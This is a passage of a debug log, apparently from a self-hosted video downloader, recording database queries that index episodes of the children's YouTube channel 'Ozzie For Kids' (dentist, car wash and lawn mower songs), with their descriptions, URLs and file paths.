here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#DentistForKids #DentalHealth #HealthyTeeth #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie", "24ea7b52-c449-421a-87a4-74d587e4e759", 174, false, "i5rPf5Zbb80", "https://www.youtube.com/watch?v=i5rPf5Zbb80", 9, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-05 - 🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-08-05 21:00:10Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "It's time for a big smile with Ozzie's First Time at the Dentist Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover what happens during a visit to the dentist. From sitting in the dentist's chair to having your teeth counted and cleaned, this fun sing-along helps make a first trip to the dentist exciting instead of scary!\n\nGet ready to brush, smile and sing along as we learn how dentists help keep our teeth healthy and strong.\n\nMusic helps us learn, build confidence and remember important healthy habits. So open wide and join Ozzie for a fun dental adventure!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ What happens at the dentist\nβ€’ How to keep teeth clean and healthy\nβ€’ Why regular dental check-ups are important\n\nTopics kids will learn about in this video:\n\ndentist for kids\ndentist song for kids\nfirst dentist visit for kids\nbrushing teeth for kids\nhealthy teeth for kids\ndentist explained for kids\ndental health for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#DentistForKids #DentalHealth #HealthyTeeth #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie", 174, false, "i5rPf5Zbb80", "https://www.youtube.com/watch?v=i5rPf5Zbb80", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-05 - 🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie.mp4", false, 7, ~U[2026-08-05 21:00:10Z]] 13:17:01.660 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=13.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.662 [debug] QUERY OK source="media_items" db=1.5ms idle=12.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-02 05:00:22Z], 7] 13:17:01.673 [debug] QUERY OK source="media_items" db=9.2ms idle=13.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're heading through the car wash for an exciting adventure and a fun sing-along song! πŸš—πŸ«§πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventures, music and hands-on fun!\n\nJoin Ozzie for the ultimate Car Wash Combo, featuring a fun educational episode and a catchy Car Wash Song that's perfect for singing along.\n\nWatch as dirty cars become sparkling clean while giant brushes spin, colourful soap bubbles foam, powerful water jets spray and huge dryers blast away the water.\n\nCan you make all the fun car wash sounds? Splash... Spray... Scrub... Shine! Sing along with Ozzie as we discover how a car wash works and why it's important to keep our vehicles clean.\n\nPerfect for toddlers, preschoolers and curious kids who love cars, trucks, machines and catchy songs!\n\nIn this combo you'll enjoy:\n\nπŸš— A fun car wash adventure\n🫧 Giant spinning brushes\nπŸ’¦ Powerful water sprays\n✨ Sparkling clean cars\n🎡 The Car Wash Song\n🎢 Sing-along learning and fun\n\nKids will learn about:\nβ€’ How a car wash works\nβ€’ The different machines used to clean a car\nβ€’ Why it's important to keep vehicles clean\nβ€’ Sequencing and following steps\nβ€’ Listening, singing and joining in\n\nTopics kids will learn about in this video:\nβ€’ Car Wash For Kids\nβ€’ Car Wash Song For Kids\nβ€’ Cars For Kids\nβ€’ How A Car Wash Works\nβ€’ Cleaning Vehicles For Kids\nβ€’ Car Wash Machines For Kids\nβ€’ Vehicles Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie", "979d29aa-40be-47b7-ba0f-cbde86dc3bc1", 1185, false, "F5siG9EbRv8", "https://www.youtube.com/watch?v=F5siG9EbRv8", 10, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-02 - Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-08-02 05:00:22Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're heading through the car wash for an exciting adventure and a fun sing-along song! πŸš—πŸ«§πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventures, music and hands-on fun!\n\nJoin Ozzie for the ultimate Car Wash Combo, featuring a fun educational episode and a catchy Car Wash Song that's perfect for singing along.\n\nWatch as dirty cars become sparkling clean while giant brushes spin, colourful soap bubbles foam, powerful water jets spray and huge dryers blast away the water.\n\nCan you make all the fun car wash sounds? Splash... Spray... Scrub... Shine! Sing along with Ozzie as we discover how a car wash works and why it's important to keep our vehicles clean.\n\nPerfect for toddlers, preschoolers and curious kids who love cars, trucks, machines and catchy songs!\n\nIn this combo you'll enjoy:\n\nπŸš— A fun car wash adventure\n🫧 Giant spinning brushes\nπŸ’¦ Powerful water sprays\n✨ Sparkling clean cars\n🎡 The Car Wash Song\n🎢 Sing-along learning and fun\n\nKids will learn about:\nβ€’ How a car wash works\nβ€’ The different machines used to clean a car\nβ€’ Why it's important to keep vehicles clean\nβ€’ Sequencing and following steps\nβ€’ Listening, singing and joining in\n\nTopics kids will learn about in this video:\nβ€’ Car Wash For Kids\nβ€’ Car Wash Song For Kids\nβ€’ Cars For Kids\nβ€’ How A Car Wash Works\nβ€’ Cleaning Vehicles For Kids\nβ€’ Car Wash Machines For Kids\nβ€’ Vehicles Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie", 1185, false, "F5siG9EbRv8", "https://www.youtube.com/watch?v=F5siG9EbRv8", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-02 - Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie.mp4", false, 7, ~U[2026-08-02 05:00:22Z]] 13:17:01.675 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=21.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.677 [debug] QUERY OK source="media_items" db=1.2ms idle=18.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-29 22:51:00Z], 7] 13:17:01.682 [debug] QUERY OK source="media_items" db=3.7ms idle=17.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready to sing, scrub and splash with Ozzie in this fun Car Wash Song with Words for Kids!\n\nJoin Ozzie as we wash dirty cars, spray water, scrub away the mud, rinse off the bubbles and make every vehicle sparkle. With on-screen words, it's easy to sing along while learning all about how a car wash works!\n\nClap your hands, stomp your feet and join the action as we clean cars together in this catchy sing-along adventure.\n\nMusic helps us learn new words, build confidence and remember exciting new things. So grab your sponge, turn on the hose and let's get those cars sparkling clean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ How a car wash works\nβ€’ The steps to washing a car\nβ€’ Different car washing tools and equipment\n\nTopics kids will learn about in this video:\n\nβ€’ car wash song with words\nβ€’ car wash song for kids\nβ€’ sing along songs for kids\nβ€’ car wash for kids\nβ€’ washing cars for kids\nβ€’ cars and trucks for kids\nβ€’ vehicle learning songs\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie", "ab9beff8-27a0-405c-bb44-ebc488d3ea5c", 123, false, "oSCVp71JJzI", "https://www.youtube.com/watch?v=oSCVp71JJzI", 11, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-29 - πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-29 22:51:00Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Get ready to sing, scrub and splash with Ozzie in this fun Car Wash Song with Words for Kids!\n\nJoin Ozzie as we wash dirty cars, spray water, scrub away the mud, rinse off the bubbles and make every vehicle sparkle. With on-screen words, it's easy to sing along while learning all about how a car wash works!\n\nClap your hands, stomp your feet and join the action as we clean cars together in this catchy sing-along adventure.\n\nMusic helps us learn new words, build confidence and remember exciting new things. So grab your sponge, turn on the hose and let's get those cars sparkling clean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ How a car wash works\nβ€’ The steps to washing a car\nβ€’ Different car washing tools and equipment\n\nTopics kids will learn about in this video:\n\nβ€’ car wash song with words\nβ€’ car wash song for kids\nβ€’ sing along songs for kids\nβ€’ car wash for kids\nβ€’ washing cars for kids\nβ€’ cars and trucks for kids\nβ€’ vehicle learning songs\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie", 123, false, "oSCVp71JJzI", "https://www.youtube.com/watch?v=oSCVp71JJzI", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-29 - πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie.mp4", false, 7, ~U[2026-07-29 22:51:00Z]] 13:17:01.685 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=20.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.689 [debug] QUERY OK source="media_items" db=4.1ms queue=0.1ms idle=12.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-24 14:00:20Z], 7] 13:17:01.693 [debug] QUERY OK source="media_items" db=3.2ms idle=14.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're enjoying 1 whole hour of lawn mowing adventures, awesome machines and catchy songs! 🚜🌿🎡\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing machines and learn through fun adventures and music!\n\nIf your child loves lawn mowers, ride-on mowers, leaf blowers, whipper snippers and outdoor machines, this ultimate 1-hour compilation is packed with exciting adventures, educational fun and sing-along songs.\n\nJoin Ozzie as we mow lawns, tidy gardens, explore all kinds of incredible yard equipment and discover how these machines help keep our parks, playgrounds and backyards looking clean, safe and beautiful.\n\nPerfect for toddlers, preschoolers and young machine lovers who enjoy learning through music and play!\n\nIn this 1-hour compilation you'll enjoy:\n\n🚜 Lawn mower adventures\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers (string trimmers)\n🌳 Yard work adventures\n🎡 Fun lawn mower songs\n🎢 Sing-along music\nπŸ“š Educational fun for curious kids\n\nKids will learn about:\n\nβ€’ How different lawn mowers work\nβ€’ The jobs of leaf blowers and whipper snippers\nβ€’ How people care for gardens, parks and outdoor spaces\nβ€’ Yard safety and using machines responsibly\nβ€’ Looking after our environment and community\n\nTopics kids will learn about in this video:\n\nβ€’ Lawn Mowers For Kids\nβ€’ Ride-On Mowers For Kids\nβ€’ Push Mowers For Kids\nβ€’ Leaf Blowers For Kids\nβ€’ Whipper Snippers For Kids\nβ€’ Gardening For Kids\nβ€’ Outdoor Machines For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #LawnMowing #RideOnMower #LeafBlower #WhipperSnipper #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie", "d2c4a346-60bc-4b5a-b4ba-3a78150d8c56", 4626, false, "L1--SSvALzw", "https://www.youtube.com/watch?v=L1--SSvALzw", 12, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-24 - 1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-24 14:00:20Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're enjoying 1 whole hour of lawn mowing adventures, awesome machines and catchy songs! 🚜🌿🎡\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing machines and learn through fun adventures and music!\n\nIf your child loves lawn mowers, ride-on mowers, leaf blowers, whipper snippers and outdoor machines, this ultimate 1-hour compilation is packed with exciting adventures, educational fun and sing-along songs.\n\nJoin Ozzie as we mow lawns, tidy gardens, explore all kinds of incredible yard equipment and discover how these machines help keep our parks, playgrounds and backyards looking clean, safe and beautiful.\n\nPerfect for toddlers, preschoolers and young machine lovers who enjoy learning through music and play!\n\nIn this 1-hour compilation you'll enjoy:\n\n🚜 Lawn mower adventures\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers (string trimmers)\n🌳 Yard work adventures\n🎡 Fun lawn mower songs\n🎢 Sing-along music\nπŸ“š Educational fun for curious kids\n\nKids will learn about:\n\nβ€’ How different lawn mowers work\nβ€’ The jobs of leaf blowers and whipper snippers\nβ€’ How people care for gardens, parks and outdoor spaces\nβ€’ Yard safety and using machines responsibly\nβ€’ Looking after our environment and community\n\nTopics kids will learn about in this video:\n\nβ€’ Lawn Mowers For Kids\nβ€’ Ride-On Mowers For Kids\nβ€’ Push Mowers For Kids\nβ€’ Leaf Blowers For Kids\nβ€’ Whipper Snippers For Kids\nβ€’ Gardening For Kids\nβ€’ Outdoor Machines For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #LawnMowing #RideOnMower #LeafBlower #WhipperSnipper #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie", 4626, false, "L1--SSvALzw", "https://www.youtube.com/watch?v=L1--SSvALzw", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-24 - 1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie.mp4", false, 7, ~U[2026-07-24 14:00:20Z]] 13:17:01.696 [debug] QUERY OK source="sources" db=2.4ms idle=16.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.701 [debug] QUERY OK source="media_items" db=4.1ms idle=15.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-22 18:00:19Z], 7] 13:17:01.707 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=16.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🌿🎢 Get ready to sing, dance and mow along with Ozzie in this fun collection of NEW Lawn Mower Songs for Kids!\n\nJoin Ozzie as we mow the lawn, ride awesome lawn mowers and use leaf blowers, whipper snippers and other cool garden tools. This exciting song collection is packed with outdoor adventures, catchy tunes and plenty of mowing fun!\n\nClap your hands, stomp your feet and sing along as we cut the grass, tidy the garden and explore all the amazing machines that help keep our yards looking great.\n\nMusic helps us learn, stay active and discover how everyday machines work. So grab your imaginary mower and join Ozzie for three fun-filled lawn mowing songs!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\n🚜 Lawn mowers in action\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers or weed wackers\n🌳 Fun yard work adventures\n🎢 Catchy songs to sing along with!\n\nKids will learn about:\nβ€’ Different types of lawn mowers\nβ€’ Garden tools and how they work\nβ€’ Looking after outdoor spaces\n\nTopics kids will learn about in this video:\nβ€’ lawn mower songs for kids\nβ€’ lawn mowers for kids\nβ€’ ride on mower for kids\nβ€’ leaf blower for kids\nβ€’ whipper snipper for kids\nβ€’ garden tools explained for kids\nβ€’ outdoor machines for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #RideOnMower #GardenTools #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie", "6852486a-fc1c-4625-af27-0564acd2181f", 927, false, "O1K9qukZNkE", "https://www.youtube.com/watch?v=O1K9qukZNkE", 13, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-22 - 🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-22 18:00:19Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "🌿🎢 Get ready to sing, dance and mow along with Ozzie in this fun collection of NEW Lawn Mower Songs for Kids!\n\nJoin Ozzie as we mow the lawn, ride awesome lawn mowers and use leaf blowers, whipper snippers and other cool garden tools. This exciting song collection is packed with outdoor adventures, catchy tunes and plenty of mowing fun!\n\nClap your hands, stomp your feet and sing along as we cut the grass, tidy the garden and explore all the amazing machines that help keep our yards looking great.\n\nMusic helps us learn, stay active and discover how everyday machines work. So grab your imaginary mower and join Ozzie for three fun-filled lawn mowing songs!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\n🚜 Lawn mowers in action\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers or weed wackers\n🌳 Fun yard work adventures\n🎢 Catchy songs to sing along with!\n\nKids will learn about:\nβ€’ Different types of lawn mowers\nβ€’ Garden tools and how they work\nβ€’ Looking after outdoor spaces\n\nTopics kids will learn about in this video:\nβ€’ lawn mower songs for kids\nβ€’ lawn mowers for kids\nβ€’ ride on mower for kids\nβ€’ leaf blower for kids\nβ€’ whipper snipper for kids\nβ€’ garden tools explained for kids\nβ€’ outdoor machines for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #RideOnMower #GardenTools #OzzieForKids 